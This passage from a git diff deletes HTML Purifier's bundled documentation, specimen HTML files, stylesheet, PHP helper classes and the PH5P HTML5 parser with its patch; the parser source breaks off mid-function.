    1. Requires the color attribute definition to know, currently, what the text -and background colors are. This becomes difficult when classes are thrown -into the mix.
    2. -
    3. The user still has to define the permissible colors, how does one do -something like that?
    4. -
    - - - - - diff --git a/classes/security/htmlpurifier/docs/proposal-config.txt b/classes/security/htmlpurifier/docs/proposal-config.txt deleted file mode 100644 index 4e031c586..000000000 --- a/classes/security/htmlpurifier/docs/proposal-config.txt +++ /dev/null @@ -1,23 +0,0 @@ - -Configuration - -Configuration is documented on a per-use case: if a class uses a certain -value from the configuration object, it has to define its name and what the -value is used for. This means decentralized configuration declarations that -are nevertheless error checking and a centralized configuration object. - -Directives are divided into namespaces, indicating the major portion of -functionality they cover (although there may be overlaps). Please consult -the documentation in ConfigDef for more information on these namespaces. - -Since configuration is dependant on context, internal classes require a -configuration object to be passed as a parameter. (They also require a -Context object). A majority of classes do not need the config object, -but for those who do, it is a lifesaver. - -Definition objects are complex datatypes influenced by their respective -directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). -If any of these directives is updated, HTML Purifier forces the definition -to be regenerated. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/proposal-css-extraction.txt b/classes/security/htmlpurifier/docs/proposal-css-extraction.txt deleted file mode 100644 index 9933c96b8..000000000 --- a/classes/security/htmlpurifier/docs/proposal-css-extraction.txt +++ /dev/null @@ -1,34 +0,0 @@ - -Extracting inline CSS from HTML Purifier - voodoofied: Assigning semantics to elements - -Sander Tekelenburg brought to my attention the poor programming style of -inline CSS in HTML documents. In an ideal world, we wouldn't be using inline -CSS at all: everything would be assigned using semantic class attributes -from an external stylesheet. - -With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users -can specify a style element which gets extracted from the user-submitted HTML, which -the application can place in the head of the HTML document). But there still -is the issue of inline CSS that refuses to go away. - -The basic idea behind this feature is assign every element a unique identifier, -and then move all of the CSS data to a style-sheet. This HTML: - -
    Big things!
    - -into - -
    Big things!
    - -and a stylesheet that is: - -#hp-12345 {text-align:center;} -#hp-12346 {color:red;} - -Beyond that, HTML Purifier can magically merge common CSS values together, -and a whole manner of other heuristic things. HTML Purifier should also -make it easy for an admin to re-style the HTML semantically. Speed is not -an issue. Also, better WYSIWYG editors are needed. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/proposal-errors.txt b/classes/security/htmlpurifier/docs/proposal-errors.txt deleted file mode 100644 index 87cb2ac19..000000000 --- a/classes/security/htmlpurifier/docs/proposal-errors.txt +++ /dev/null @@ -1,211 +0,0 @@ -Considerations for ErrorCollection - -Presently, HTML Purifier takes a code-execution centric approach to handling -errors. Errors are organized and grouped according to which segment of the -code triggers them, not necessarily the portion of the input document that -triggered the error. This means that errors are pseudo-sorted by category, -rather than location in the document. - -One easy way to "fix" this problem would be to re-sort according to line number. -However, the "category" style information we derive from naively following -program execution is still useful. After all, each of the strategies which -can report errors still process the document mostly linearly. Furthermore, -not only do they process linearly, but the way they pass off operations to -sub-systems mirrors that of the document. For example, AttrValidator will -linearly proceed through elements, and on each element will use AttrDef to -validate those contents. From there, the attribute might have more -sub-components, which have execution passed off accordingly. - -In fact, each strategy handles a very specific class of "error." - -RemoveForeignElements - element tokens -MakeWellFormed - element token ordering -FixNesting - element token ordering -ValidateAttributes - attributes of elements - -The crucial point is that while we care about the hierarchy governing these -different errors, we *don't* care about any other information about what actually -happens to the elements. This brings up another point: if HTML Purifier fixes -something, this is not really a notice/warning/error; it's really a suggestion -of a way to fix the aforementioned defects. - -In short, the refactoring to take this into account kinda sucks. - -Errors should not be recorded in order that they are reported. Instead, they -should be bound to the line (and preferably element) in which they were found. -This means we need some way to uniquely identify every element in the document, -which doesn't presently exist. An easy way of adding this would be to track -line columns. An important ramification of this is that we *must* use the -DirectLex implementation. - - 1. Implement column numbers for DirectLex [DONE!] - 2. Disable error collection when not using DirectLex [DONE!] - -Next, we need to re-orient all of the error declarations to place CurrentToken -at utmost important. Since this is passed via Context, it's not always clear -if that's available. ErrorCollector should complain HARD if it isn't available. -There are some locations when we don't have a token available. These include: - - * Lexing - this can actually have a row and column, but NOT correspond to - a token - * End of document errors - bump this to the end - -Actually, we *don't* have to complain if CurrentToken isn't available; we just -set it as a document-wide error. And actually, nothing needs to be done here. - -Something interesting to consider is whether or not we care about the locations -of attributes and CSS properties, i.e. the sub-objects that compose these things. -In terms of consistency, at the very least attributes should have column/line -numbers attached to them. However, this may be overkill, as attributes are -uniquely identifiable. You could go even further, with CSS, but they are also -uniquely identifiable. - -Bottom-line is, however, this information must be available, in form of the -CurrentAttribute and CurrentCssProperty (theoretical) context variables, and -it must be used to organize the errors that the sub-processes may throw. -There is also a hierarchy of sorts that may make merging this into one context -variable more sense, if it hadn't been for HTML's reasonably rigid structure. -A CSS property will never contain an HTML attribute. So we won't ever get -recursive relations, and having multiple depths won't ever make sense. Leave -this be. - -We already have this information, and consequently, using start and end is -*unnecessary*, so long as the context variables are set appropriately. We don't -care if an error was thrown by an attribute transform or an attribute definition; -to the end user these are the same (for a developer, they are different, but -they're better off with a stack trace (which we should add support for) in such -cases). - - 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] - 4. Setup ErrorCollector to use context information to setup hierarchies. - This may require a different internal format. Use objects if it gets - complex. [DONE] - - ASIDE - More on this topic: since we are now binding errors to lines - and columns, a particular error can have three relationships to that - specific location: - - 1. The token at that location directly - RemoveForeignElements - AttrValidator (transforms) - MakeWellFormed - 2. A "component" of that token (i.e. attribute) - AttrValidator (removals) - 3. A modification to that node (i.e. contents from start to end - token) as a whole - FixNesting - - This needs to be marked accordingly. In the presentation, it might - make sense keep (3) separate, have (2) a sublist of (1). (1) can - be a closing tag, in which case (3) makes no sense at all, OR it - should be related with its opening tag (this may not necessarily - be possible before MakeWellFormed is run). - - So, the line and column counts as our identifier, so: - - $errors[$line][$col] = ... - - Then, we need to identify case 1, 2 or 3. They are identified as - such: - - 1. Need some sort of semaphore in RemoveForeignElements, etc. - 2. If CurrentAttr/CurrentCssProperty is non-null - 3. Default (FixNesting, MakeWellFormed) - - One consideration about (1) is that it usually is actually a - (3) modification, but we have no way of knowing about that because - of various optimizations. However, they can probably be treated - the same. The other difficulty is that (3) is never a line and - column; rather, it is a range (i.e. a duple) and telling the user - the very start of the range may confuse them. For example, - - Foo
    bar
    - ^ ^ - - The node being operated on is , so the error would be assigned - to the first caret, with a "node reorganized" error. Then, the - ChildDef would have submitted its own suggestions and errors with - regard to what's going in the internals. So I suppose this is - ok. :-) - - Now, the structure of the earlier mentioned ... would be something - like this: - - object { - type = (token|attr|property), - value, // appropriate for type - errors => array(), - sub-errors = [recursive], - } - - This helps us keep things agnostic. It is also sufficiently complex - enough to warrant an object. - -So, more wanking about the object format is in order. The way HTML Purifier is -currently setup, the only possible hierarchy is: - - token -> attr -> css property - -These relations do not exist all of the time; a comment or end token would not -ever have any attributes, and non-style attributes would never have CSS properties -associated with them. - -I believe that it is worth supporting multiple paths. At some point, we might -have a hierarchy like: - - * -> syntax - -> token -> attr -> css property - -> url - -> css stylesheet - - - -

    HTML align attribute to CSS

    - -

    Inspect source for methodology.

    - -
    -
    - HTML -
    -
    - CSS -
    -
    - -
    - -

    table.align

    - -

    left

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    center

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    right

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -
    - - - -
    -

    img.align

    -

    left

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    right

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    bottom

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    middle

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    top

    -
    -
    - aa -
    -
    - aa -
    -
    - -
    - - - -
    - -

    hr.align

    - -

    left

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    center

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    right

    -
    -
    -
    -
    -
    -
    -
    -
    - -
    - - - diff --git a/classes/security/htmlpurifier/docs/specimens/img.png b/classes/security/htmlpurifier/docs/specimens/img.png deleted file mode 100644 index a755bcb5e..000000000 Binary files a/classes/security/htmlpurifier/docs/specimens/img.png and /dev/null differ diff --git a/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html b/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html deleted file mode 100644 index 1cc08f888..000000000 --- a/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - - -
    - -

    - -

     

    - -

    Name

    - -

    E-mail : mail@example.com

    - -

     

    - -

    Company

    - -

    Address 1

    - -

    Address 2

    - -

     

    - -

    Telefoon  : +xx xx xxx xxx xx

    - -

    Fax  : +xx xx xxx xx xx

    - -

    Internet : http://www.example.com

    - -

    Kamer van koophandel -xxxxxxxxx

    - -

     

    - -

    Op deze -e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
    -A disclaimer is applicable to this email, please -refer to www.example.com/disclaimer

    - -

     

    - -
    - - - - diff --git a/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html deleted file mode 100644 index 735b4bd95..000000000 --- a/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - -
    Play -slideshow | Download the highest quality version of a picture by -clicking the + above it
    -
    -
      -
    1. Angry smile emoticonUn ka Tev iet, un ko tu dari? -
    2. Aha!
    - -
    - - - - - - -
    - -
    -
    This - is title for this - picture
    - -
    -
     
    -
    Online -pictures are available for 30 days. Get Windows Live Mail desktop to create -your own photo e-mails.
    diff --git a/classes/security/htmlpurifier/docs/style.css b/classes/security/htmlpurifier/docs/style.css deleted file mode 100644 index bd79c8a00..000000000 --- a/classes/security/htmlpurifier/docs/style.css +++ /dev/null @@ -1,76 +0,0 @@ -html {font-size:1em; font-family:serif; } -body {margin-left:4em; margin-right:4em; } - -dt {font-weight:bold; } -pre {margin-left:2em; } -pre, code, tt {font-family:monospace; font-size:1em; } - -h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -/* For witty quips */ -.subtitled {margin-bottom:0em;} -.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; - font-style:italic; margin-top:-.2em;text-align:center;} -.subsubtitle {text-align:left;margin-left:2em;} - -/* Used for special "See also" links. */ -.reference {font-style:italic;margin-left:2em;} - -/* Marks off asides, discussions on why something is the way it is */ -.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } -blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; - border-bottom:1px solid #CCC;} -.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} - -/* A regular table */ -.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } -.table thead th {margin:0; background:#888; color:#FFF; } -.table thead th:first-child {-moz-border-radius-topleft:1em;} -.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} - -/* A quick table*/ -table.quick tbody th {text-align:right; padding-right:1em;} - -/* Category of the file */ -#filing {font-weight:bold; font-size:smaller; } - -/* Contains, without exception, Return to index. */ -#index {font-size:smaller; } - -#home {font-size:smaller;} - -/* Contains, without exception, $Id$, for SVN version info. */ -#version {text-align:right; font-style:italic; margin:2em 0;} - -#toc ol ol {list-style-type:lower-roman;} -#toc ol {list-style-type:decimal;} -#toc {list-style-type:upper-alpha;} - -q { - behavior: url(fixquotes.htc); /* IE fix */ - quotes: '\201C' '\201D' '\2018' '\2019'; -} -q:before { - content: open-quote; -} -q:after { - content: close-quote; -} - -/* Marks off implementation details interesting only to the person writing - the class described in the spec. */ -.technical {margin-left:2em; } -.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } - -/* Marks off sections that are lacking. */ -.fixme {margin-left:2em; } -.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } - -#applicability {margin: 1em 5%; font-style:italic;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php b/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php deleted file mode 100644 index f7095285b..000000000 --- a/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php +++ /dev/null @@ -1,86 +0,0 @@ -xsltProcessor = $proc; - } - - /** - * @note Allows a string $xsl filename to be passed - */ - public function importStylesheet($xsl) { - if (is_string($xsl)) { - $xsl_file = $xsl; - $xsl = new DOMDocument(); - $xsl->load($xsl_file); - } - return $this->xsltProcessor->importStylesheet($xsl); - } - - /** - * Transforms an XML file into compatible XHTML based on the stylesheet - * @param $xml XML DOM tree, or string filename - * @return string HTML output - * @todo Rename to transformToXHTML, as transformToHTML is misleading - */ - public function transformToHTML($xml) { - if (is_string($xml)) { - $dom = new DOMDocument(); - $dom->load($xml); - } else { - $dom = $xml; - } - $out = $this->xsltProcessor->transformToXML($dom); - - // fudges for HTML backwards compatibility - // assumes that document is XHTML - $out = str_replace('/>', ' />', $out); //
    not
    - $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns - - if (class_exists('Tidy')) { - // cleanup output - $config = array( - 'indent' => true, - 'output-xhtml' => true, - 'wrap' => 80 - ); - $tidy = new Tidy; - $tidy->parseString($out, $config, 'utf8'); - $tidy->cleanRepair(); - $out = (string) $tidy; - } - - return $out; - } - - /** - * Bulk sets parameters for the XSL stylesheet - * @param array $options Associative array of options to set - */ - public function setParameters($options) { - foreach ($options as $name => $value) { - $this->xsltProcessor->setParameter('', $name, $value); - } - } - - /** - * Forward any other calls to the XSLT processor - */ - public function __call($name, $arguments) { - call_user_func_array(array($this->xsltProcessor, $name), $arguments); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/FSTools.php b/classes/security/htmlpurifier/extras/FSTools.php deleted file mode 100644 index 17c35ee6d..000000000 --- a/classes/security/htmlpurifier/extras/FSTools.php +++ /dev/null @@ -1,157 +0,0 @@ -mkdir($base); - } - $base .= DIRECTORY_SEPARATOR; - } - } - - /** - * Copy a file, or recursively copy a folder and its contents; modified - * so that copied files, if PHP, have includes removed - * @note Adapted from http://aidanlister.com/repos/v/function.copyr.php - */ - public function copyr($source, $dest) { - // Simple copy for a file - if (is_file($source)) { - return $this->copy($source, $dest); - } - // Make destination directory - if (!is_dir($dest)) { - $this->mkdir($dest); - } - // Loop through the folder - $dir = $this->dir($source); - while ( false !== ($entry = $dir->read()) ) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - if (!$this->copyable($entry)) { - continue; - } - // Deep copy directories - if ($dest !== "$source/$entry") { - $this->copyr("$source/$entry", "$dest/$entry"); - } - } - // Clean up - $dir->close(); - return true; - } - - /** - * Overloadable function that tests a filename for copyability. By - * default, everything should be copied; you can restrict things to - * ignore hidden files, unreadable files, etc. This function - * applies to copyr(). - */ - public function copyable($file) { - return true; - } - - /** - * Delete a file, or a folder and its contents - * @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php - */ - public function rmdirr($dirname) - { - // Sanity check - if (!$this->file_exists($dirname)) { - return false; - } - - // Simple delete for a file - if ($this->is_file($dirname) || $this->is_link($dirname)) { - return $this->unlink($dirname); - } - - // Loop through the folder - $dir = $this->dir($dirname); - while (false !== $entry = $dir->read()) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - // Recurse - $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry); - } - - // Clean up - $dir->close(); - return $this->rmdir($dirname); - } - - /** - * Recursively globs a directory. - */ - public function globr($dir, $pattern, $flags = NULL) { - $files = $this->glob("$dir/$pattern", $flags); - if ($files === false) $files = array(); - $sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR); - if ($sub_dirs === false) $sub_dirs = array(); - foreach ($sub_dirs as $sub_dir) { - $sub_files = $this->globr($sub_dir, $pattern, $flags); - $files = array_merge($files, $sub_files); - } - return $files; - } - - /** - * Allows for PHP functions to be called and be stubbed. - * @warning This function will not work for functions that need - * to pass references; manually define a stub function for those. - */ - public function __call($name, $args) { - return call_user_func_array($name, $args); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/FSTools/File.php b/classes/security/htmlpurifier/extras/FSTools/File.php deleted file mode 100644 index 1c76705d6..000000000 --- a/classes/security/htmlpurifier/extras/FSTools/File.php +++ /dev/null @@ -1,126 +0,0 @@ -name = $name; - $this->fs = $fs ? $fs : FSTools::singleton(); - } - - /** Returns the filename of the file. */ - public function getName() {return $this->name;} - - /** Returns directory of the file without trailing slash */ - public function getDirectory() {return $this->fs->dirname($this->name);} - - /** - * Retrieves the contents of a file - * @todo Throw an exception if file doesn't exist - */ - public function get() { - return $this->fs->file_get_contents($this->name); - } - - /** Writes contents to a file, creates new file if necessary */ - public function write($contents) { - return $this->fs->file_put_contents($this->name, $contents); - } - - /** Deletes the file */ - public function delete() { - return $this->fs->unlink($this->name); - } - - /** Returns true if file exists and is a file. */ - public function exists() { - return $this->fs->is_file($this->name); - } - - /** Returns last file modification time */ - public function getMTime() { - return $this->fs->filemtime($this->name); - } - - /** - * Chmod a file - * @note We ignore errors because of some weird owner trickery due - * to SVN duality - */ - public function chmod($octal_code) { - return @$this->fs->chmod($this->name, $octal_code); - } - - /** Opens file's handle */ - public function open($mode) { - if ($this->handle) $this->close(); - $this->handle = $this->fs->fopen($this->name, $mode); - return true; - } - - /** Closes file's handle */ - public function close() { - if (!$this->handle) return false; - $status = $this->fs->fclose($this->handle); - $this->handle = false; - return $status; - } - - /** Retrieves a line from an open file, with optional max length $length */ - public function getLine($length = null) { - if (!$this->handle) $this->open('r'); - if ($length === null) return $this->fs->fgets($this->handle); - else return $this->fs->fgets($this->handle, $length); - } - - /** Retrieves a character from an open file */ - public function getChar() { - if (!$this->handle) $this->open('r'); - return $this->fs->fgetc($this->handle); - } - - /** Retrieves an $length bytes of data from an open data */ - public function read($length) { - if (!$this->handle) $this->open('r'); - return $this->fs->fread($this->handle, $length); - } - - /** Writes to an open file */ - public function put($string) { - if (!$this->handle) $this->open('a'); - return $this->fs->fwrite($this->handle, $string); - } - - /** Returns TRUE if the end of the file has been reached */ - public function eof() { - if (!$this->handle) return true; - return $this->fs->feof($this->handle); - } - - public function __destruct() { - if ($this->handle) $this->close(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php b/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php deleted file mode 100644 index 4016d8afd..000000000 --- a/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php +++ /dev/null @@ -1,11 +0,0 @@ -fopen(...). - This makes it a lot simpler to mock these filesystem calls for unit testing. - -- FSTools_File: This object represents a single file, and has almost any - method imaginable one would need. - -Check the files themselves for more information. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/.htaccess b/classes/security/htmlpurifier/maintenance/.htaccess deleted file mode 100644 index 3a4288278..000000000 --- a/classes/security/htmlpurifier/maintenance/.htaccess +++ /dev/null @@ -1 +0,0 @@ -Deny from all diff --git a/classes/security/htmlpurifier/maintenance/PH5P.patch b/classes/security/htmlpurifier/maintenance/PH5P.patch deleted file mode 100644 index 763709509..000000000 --- a/classes/security/htmlpurifier/maintenance/PH5P.patch +++ /dev/null @@ -1,102 +0,0 @@ ---- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2008-07-07 09:12:12.000000000 -0400 -+++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2008-12-06 02:29:34.988800000 -0500 -@@ -65,7 +65,7 @@ - - public function __construct($data) { - $data = str_replace("\r\n", "\n", $data); -- $date = str_replace("\r", null, $data); -+ $data = str_replace("\r", null, $data); - - $this->data = $data; - $this->char = -1; -@@ -211,7 +211,10 @@ - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; -- $this->emitToken($char); -+ $this->emitToken(array( -+ 'type' => self::CHARACTR, -+ 'data' => $char -+ )); - - // Finally, switch to the data state. - $this->state = 'data'; -@@ -708,7 +711,7 @@ - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ -- $this->entityInAttributeValueState('non'); -+ $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) -@@ -738,7 +741,8 @@ - ? '&' - : $entity; - -- $this->emitToken($char); -+ $last = count($this->token['attr']) - 1; -+ $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { -@@ -1066,6 +1070,11 @@ - $this->char++; - - if(in_array($id, $this->entities)) { -+ if ($e_name[$c-1] !== ';') { -+ if ($c < $len && $e_name[$c] == ';') { -+ $this->char++; // consume extra semicolon -+ } -+ } - $entity = $id; - break; - } -@@ -2084,7 +2093,7 @@ - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - -- $this->insertElement($token); -+ $this->insertElement($token, true, true); - break; - } - break; -@@ -3465,7 +3474,18 @@ - } - } - -- private function insertElement($token, $append = true) { -+ private function insertElement($token, $append = true, $check = false) { -+ // Proprietary workaround for libxml2's limitations with tag names -+ if ($check) { -+ // Slightly modified HTML5 tag-name modification, -+ // removing anything that's not an ASCII letter, digit, or hyphen -+ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']); -+ // Remove leading hyphens and numbers -+ $token['name'] = ltrim($token['name'], '-0..9'); -+ // In theory, this should ever be needed, but just in case -+ if ($token['name'] === '') $token['name'] = 'span'; // arbitrary generic choice -+ } -+ - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { -@@ -3659,7 +3679,7 @@ - } - } - -- private function generateImpliedEndTags(array $exclude = array()) { -+ private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must -@@ -3673,7 +3693,8 @@ - } - } - -- private function getElementCategory($name) { -+ private function getElementCategory($node) { -+ $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - diff --git a/classes/security/htmlpurifier/maintenance/PH5P.php b/classes/security/htmlpurifier/maintenance/PH5P.php deleted file mode 100644 index 96d0d13f9..000000000 --- a/classes/security/htmlpurifier/maintenance/PH5P.php +++ /dev/null @@ -1,3824 +0,0 @@ -data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() { - return $this->tree->save(); - } - - private function char() { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS (""), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken($char); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => 'char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E 